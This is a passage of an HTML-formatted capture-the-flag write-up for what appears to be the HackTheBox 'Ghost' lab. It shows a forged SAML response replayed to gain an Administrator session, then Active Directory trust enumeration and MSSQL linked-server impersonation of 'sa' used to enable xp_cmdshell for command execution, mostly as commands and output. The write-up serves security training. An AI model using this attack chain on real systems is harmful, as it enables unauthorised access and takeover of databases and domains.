class="nx">2BPGRzOlNpZ25hdHVyZVZhbHVlPmVpc25MYmpCSmxRV09mVWkzLzEvbTlUYUxibk1LUm1rZzl4YWw2YXowaHRVcTI2UzRCRzNmU2RHTXhmWGQzTEkwRVlvOTdDMGQxNU93UHE2VWgzZnNGdUxqR2t0dXoreWk1SEVibzA4Vi9UQ2tnOURSNkdHeVJSaEd0L2xLS29UcHhXN2R0SjJuUzFDcTY1a0dEMXdwRHh1OFJhNW13bGxXc1pJNnFhcXN1YmxJZE1JQTkza2pvUjFWamlVSzZiQWRtMERubXl1ZmFJcGNiYmVIT3NySThCNEV3WUJPZEU1dTBtUU83eWEwVkp4SFpVTURKdllCZktPWGluZDZmMENNa1FKZktzaThjUkwwdVdOcGxsNUZ1ZUlnZ0V3bXoyaXVHUkFwUDNaYjlVUnlFaEducFFZRUZjZkQyZ3kydnBHQ0dha1NBQWwya2FwaHlvVXZGRnd0amVDaEU0Ti90cHEzSXR5Z0NCclNkaW5QWW13RG5KZ0E1YklzUXVBOEtReXJSaDRUMmdJK0hEdkNrODE4Q0QwcU5BUzVzelVBM1RNbnI3NUF3RWx2WmZSeURTbFVRemFRUE4wWlRJMkgrdUZLWjR5TEZreVZKVmh0M2U1U1Z3RTBZN3NKbVl2ZDQ0WnozamMrTEl6ZUtxaUtBOG9ZeDZwREpWNm9CbEo0VnF2Z0VWbTN5VmIxL3A1ajFLMERvQzRITEZkRktCQmx6T1g4Y0hiSTBIeWlXQXdDM3YvL0gyemhHQjB2aEFDR09aSFc0cklNUmtBOU5mWGQ1UHQyZXdtcHVMeDdqTUZESEtMOXhzR21yQ1lUbWp6ZUVkL0FVSnFpZk5qQnk2NUtSWkkxWHlNRWxhUUY2a2VQeHdmY2tQTVlPMDE4bDl5RFZaUUZuMDRKK3pXTHBBPTwvZHM6U2lnbmF0dXJlVmFsdWU</span><span class="o">%</span><span class="nx">2BPGRzOktleUluZm8</span><span class="o">%</span><span class="nx">2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU</span><span class="o">%</span><span class="nx">2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU</span><span class="o">%</span><span class="nx">2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8</span><span class="o">%</span><span class="nx">2BPC9kczpTaWduYXR1cmU</span><span class="o">%</span><span class="nx">2BPFN1YmplY3Q</span><span class="o">%</span><span class="nx">2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OldpbmRvd3NEb21haW5RdWFsaWZpZWROYW1lIj5naG9zdC5odGIvQWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI</span><span class="o">%</span><span class="nx">2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxMzozMzowNi4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8</span><span class="o">%</span><span class="nx">2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgTm90T25PckFmdGVyPSIyMDI2LTA5LTI0VDE0OjI4OjA2LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM</span><span class="o">%</span><span class="nx">2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI</span><span class="o">%</span><span class="nx">2BPEF0dHJpYnV0ZVZhbHVlPkFkbWluaXN0cmF0b3JAZ2hvc3QuaHRiPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU</span><span class="o">%</span><span class="nx">2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU</span><span class="o">%</span><span class="nx">2BPC9BdHRyaWJ1dGU</span><span class="o">%</span><span class="nx">2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ</span><span class="o">%</span><span class="nx">2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNS41MDBaIiBTZXNzaW9uSW5kZXg9Il9TV05XNTMiPjxBdXRobkNvbnRleHQ</span><span class="o">%</span><span class="nx">2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U</span><span class="o">%</span><span class="nx">2B</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>If we now send another <code class="language-plaintext highlighter-rouge">postResponse</code> request using this <code class="language-plaintext highlighter-rouge">SAMLResponse</code> we should get an <code class="language-plaintext highlighter-rouge">Administrator</code> account on the <code class="language-plaintext highlighter-rouge">core.ghost.htb</code> service.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">302</span> <span class="ne">Found</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 13:29:06 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">46</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Express</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">/</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Accept</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">connect.sid=s%3AySBN7i0Lnesfo6jeGdSu3ZncPcP7eDja.2khmA64xus9tp4N6vLupydpl%2Bd9kfNcvRhi%2Bq9xyJfU; Path=/; HttpOnly</span>

<span class="nt">&lt;p&gt;</span>Found. Redirecting to <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"/"</span><span class="nt">&gt;</span>/<span class="nt">&lt;/a&gt;&lt;/p&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a <code class="language-plaintext highlighter-rouge">connect.sid</code> cookie, if we replace our <code class="language-plaintext highlighter-rouge">connect.sid</code> cookie with this one and go back to the index page we’re greated by a <code class="language-plaintext highlighter-rouge">Ghost Config Panel</code>
<img src="/assets/img/img_ghost/0010.jpeg" alt="" /></p>

<h2 id="mssql-shell-on-primary-via-linked-database-user-impersonation">mssql shell on $PRIMARY via linked database user impersonation</h2>
<p>We find mentions of a <code class="language-plaintext highlighter-rouge">linked</code> database from the <code class="language-plaintext highlighter-rouge">ghost.htb</code> domain where we’re at to the <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code> domain. We can enumerate the forest trust with our current domain access.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost/ADFSpoof</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">trusts</span><span class="w">
</span><span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="nx">reachable</span><span class="w"> </span><span class="nx">server</span><span class="w"> </span><span class="nx">found</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">corp</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="p">,</span><span class="w"> </span><span class="nx">try</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">provide</span><span class="w"> </span><span class="nx">one</span><span class="w"> </span><span class="nx">manually</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nt">--host</span><span class="w">
</span><span class="n">ghost.htb</span><span class="w">
 </span><span class="o">+--</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">WITHIN_FOREST</span><span class="o">|</span><span class="n">AD</span><span class="err">&gt;</span><span class="p">:</span><span class="nx">corp.ghost.htb</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>So we have a <code class="language-plaintext highlighter-rouge">parent-child</code> trust in the <code class="language-plaintext highlighter-rouge">ghost.htb</code> forest. Let’s enumerate the <code class="language-plaintext highlighter-rouge">linked databases</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="k">select</span> <span class="n">srvname</span> <span class="k">from</span> <span class="n">master</span><span class="p">..</span><span class="n">sysservers</span><span class="p">;</span>

<span class="p">{</span>
    <span class="nv">"recordsets"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">[</span>
            <span class="p">{</span>
                <span class="nv">"srvname"</span><span class="p">:</span> <span class="nv">"DC01"</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="nv">"srvname"</span><span class="p">:</span> <span class="nv">"PRIMARY"</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">],</span>
    <span class="nv">"recordset"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">{</span>
            <span class="nv">"srvname"</span><span class="p">:</span> <span class="nv">"DC01"</span>
        <span class="p">},</span>
        <span class="p">{</span>
            <span class="nv">"srvname"</span><span class="p">:</span> <span class="nv">"PRIMARY"</span>
        <span class="p">}</span>
    <span class="p">],</span>
    <span class="nv">"output"</span><span class="p">:</span> <span class="p">{},</span>
    <span class="nv">"rowsAffected"</span><span class="p">:</span> <span class="p">[</span>
        <span class="mi">2</span>
    <span class="p">]</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We find <code class="language-plaintext highlighter-rouge">DC01</code> and <code class="language-plaintext highlighter-rouge">PRIMARY</code>, we already know that <code class="language-plaintext highlighter-rouge">DC01</code> is in the <code class="language-plaintext highlighter-rouge">ghost.htb</code> domain, doing a search for the <code class="language-plaintext highlighter-rouge">PRIMARY$</code> service we’re unable to find it which means it’s probably in the <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code> domain. I’ve already attempted several <code class="language-plaintext highlighter-rouge">MSSQL</code> attacks on the <code class="language-plaintext highlighter-rouge">DC01</code> service so let’s try to execute some queries in the <code class="language-plaintext highlighter-rouge">PRIMARY</code> linked database.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">'select @@version'</span><span class="p">)</span> <span class="k">AT</span> <span class="p">[</span><span class="k">PRIMARY</span><span class="p">]</span>

<span class="p">{</span>
    <span class="nv">"recordsets"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">[</span>
            <span class="p">{</span>
                <span class="nv">""</span><span class="p">:</span> <span class="nv">"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) </span><span class="se">\n\t</span><span class="nv">Oct  8 2022 05:58:25 </span><span class="se">\n\t</span><span class="nv">Copyright (C) 2022 Microsoft Corporation</span><span class="se">\n\t</span><span class="nv">Express Edition (64-bit) on Windows Server 2022 Datacenter 10.0  (Build 20348: ) (Hypervisor)</span><span class="se">\n</span><span class="nv">"</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">],</span>
    <span class="nv">"recordset"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">{</span>
            <span class="nv">""</span><span class="p">:</span> <span class="nv">"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) </span><span class="se">\n\t</span><span class="nv">Oct  8 2022 05:58:25 </span><span class="se">\n\t</span><span class="nv">Copyright (C) 2022 Microsoft Corporation</span><span class="se">\n\t</span><span class="nv">Express Edition (64-bit) on Windows Server 2022 Datacenter 10.0  (Build 20348: ) (Hypervisor)</span><span class="se">\n</span><span class="nv">"</span>
        <span class="p">}</span>
    <span class="p">],</span>
    <span class="nv">"output"</span><span class="p">:</span> <span class="p">{},</span>
    <span class="nv">"rowsAffected"</span><span class="p">:</span> <span class="p">[</span>
        <span class="mi">1</span>
    <span class="p">]</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After a bit of testing we’re able to impersonate the <code class="language-plaintext highlighter-rouge">sa</code> user on the <code class="language-plaintext highlighter-rouge">PRIMARY</code> server.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">'EXECUTE AS LOGIN = </span><span class="se">''</span><span class="s1">sa</span><span class="se">''</span><span class="s1">; SELECT SYSTEM_USER'</span><span class="p">)</span> <span class="k">AT</span> <span class="p">[</span><span class="k">PRIMARY</span><span class="p">]</span>

<span class="p">{</span>
    <span class="nv">"recordsets"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">[</span>
            <span class="p">{</span>
                <span class="nv">""</span><span class="p">:</span> <span class="nv">"sa"</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">],</span>
    <span class="nv">"recordset"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">{</span>
            <span class="nv">""</span><span class="p">:</span> <span class="nv">"sa"</span>
        <span class="p">}</span>
    <span class="p">],</span>
    <span class="nv">"output"</span><span class="p">:</span> <span class="p">{},</span>
    <span class="nv">"rowsAffected"</span><span class="p">:</span> <span class="p">[</span>
        <span class="mi">1</span>
    <span class="p">]</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll enable <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">'EXECUTE AS LOGIN = </span><span class="se">''</span><span class="s1">sa</span><span class="se">''</span><span class="s1">; EXEC sp_configure </span><span class="se">''</span><span class="s1">show_advanced_options</span><span class="se">''</span><span class="s1">,1;reconfigure;EXEC sp_configure </span><span class="se">''</span><span class="s1">xp_cmdshell</span><span class="se">''</span><span class="s1">,1;reconfigure;EXEC xp_cmdshell whoami'</span><span class="p">)</span> <span class="k">AT</span> <span class="p">[</span><span class="k">PRIMARY</span><span class="p">]</span>

<span class="p">{</span>
    <span class="nv">"recordsets"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">[</span>
            <span class="p">{</span>
                <span class="nv">"output"</span><span class="p">:</span> <span class="nv">"nt service</span><span class="se">\\</span><span class="nv">mssqlserver"</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="nv">"output"</span><span class="p">:</span> <span class="k">null</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">],</span>
    <span class="nv">"recordset"</span><span class="p">:</span> <span class="p">[</span>
        <span class="p">{</span>
            <span class="nv">"output"</span><span class="p">:</span> <span class="nv">"nt service</span><span class="se">\\</span><span class="nv">mssqlserver"</span>
        <span class="p">},</span>
        <span class="p">{</span>
            <span class="nv">"output"</span><span class="p">:</span> <span class="k">null</span>
        <span class="p">}</span>
    <span class="p">],</span>
    <span class="nv">"output"</span><span class="p">:</span> <span class="p">{},</span>
    <span class="nv">"rowsAffected"</span><span class="p">:</span> <span class="p">[</span>
        <span class="mi">2</span>
    <span class="p">]</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We’ve successfully gotten <code class="language-plaintext highlighter-rouge">remote command execution</code> as <code class="language-plaintext highlighter-rouge">nt service/mssqlserver</code> on <code class="language-plaintext highlighter-rouge">PRIMARY</code>.</p>

<h2 id="nt-authority-on-primary-via-seimpersonate">NT AUTHORITY on PRIMARY via SeImpersonate</h2>
<p>Taking a look around <code class="language-plaintext highlighter-rouge">mssql</code> has the <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> enabled.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">whoami</span><span class="w"> </span><span class="nx">/all</span><span class="w">

</span><span class="n">USER</span><span class="w"> </span><span class="nx">INFORMATION</span><span class="w">
</span><span class="o">----------------</span><span class="w">

</span><span class="n">User</span><span class="w"> </span><span class="nx">Name</span><span class="w">              </span><span class="nx">SID</span><span class="w">
</span><span class="o">======================</span><span class="w"> </span><span class="o">===============================================================</span><span class="w">
</span><span class="n">nt</span><span class="w"> </span><span class="nx">service\mssqlserver</span><span class="w"> </span><span class="nx">S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003</span><span class="w">


</span><span class="n">GROUP</span><span class="w"> </span><span class="nx">INFORMATION</span><span class="w">
</span><span class="o">-----------------</span><span class="w">

</span><span class="n">Group</span><span class="w"> </span><span class="nx">Name</span><span class="w">                                 </span><span class="nx">Type</span><span class="w">             </span><span class="nx">SID</span><span class="w">          </span><span class="nx">Attributes</span><span class="w">
</span><span class="o">==========================================</span><span class="w"> </span><span class="o">================</span><span class="w"> </span><span class="o">============</span><span class="w"> </span><span class="o">==================================================</span><span class="w">
</span><span class="n">Mandatory</span><span class="w"> </span><span class="nx">Label\High</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">Level</span><span class="w">       </span><span class="nx">Label</span><span class="w">            </span><span class="nx">S-1-16-12288</span><span class="w">
</span><span class="n">Everyone</span><span class="w">                                   </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-1-0</span><span class="w">      </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">BUILTIN\Pre-Windows</span><span class="w"> </span><span class="nx">2000</span><span class="w"> </span><span class="nx">Compatible</span><span class="w"> </span><span class="nx">Access</span><span class="w"> </span><span class="nx">Alias</span><span class="w">            </span><span class="nx">S-1-5-32-554</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">BUILTIN\Users</span><span class="w">                              </span><span class="nx">Alias</span><span class="w">            </span><span class="nx">S-1-5-32-545</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SERVICE</span><span class="w">                       </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-6</span><span class="w">      </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">CONSOLE</span><span class="w"> </span><span class="nx">LOGON</span><span class="w">                              </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-2-1</span><span class="w">      </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\Authenticated</span><span class="w"> </span><span class="nx">Users</span><span class="w">           </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-11</span><span class="w">     </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\This</span><span class="w"> </span><span class="nx">Organization</span><span class="w">             </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-15</span><span class="w">     </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">LOCAL</span><span class="w">                                      </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-2-0</span><span class="w">      </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">SERVICE\ALL</span><span class="w"> </span><span class="nx">SERVICES</span><span class="w">                    </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-80-0</span><span class="w">   </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">


</span><span class="n">PRIVILEGES</span><span class="w"> </span><span class="nx">INFORMATION</span><span class="w">
</span><span class="o">----------------------</span><span class="w">

</span><span class="n">Privilege</span><span class="w"> </span><span class="nx">Name</span><span class="w">                </span><span class="nx">Description</span><span class="w">                               </span><span class="nx">State</span><span class="w">   
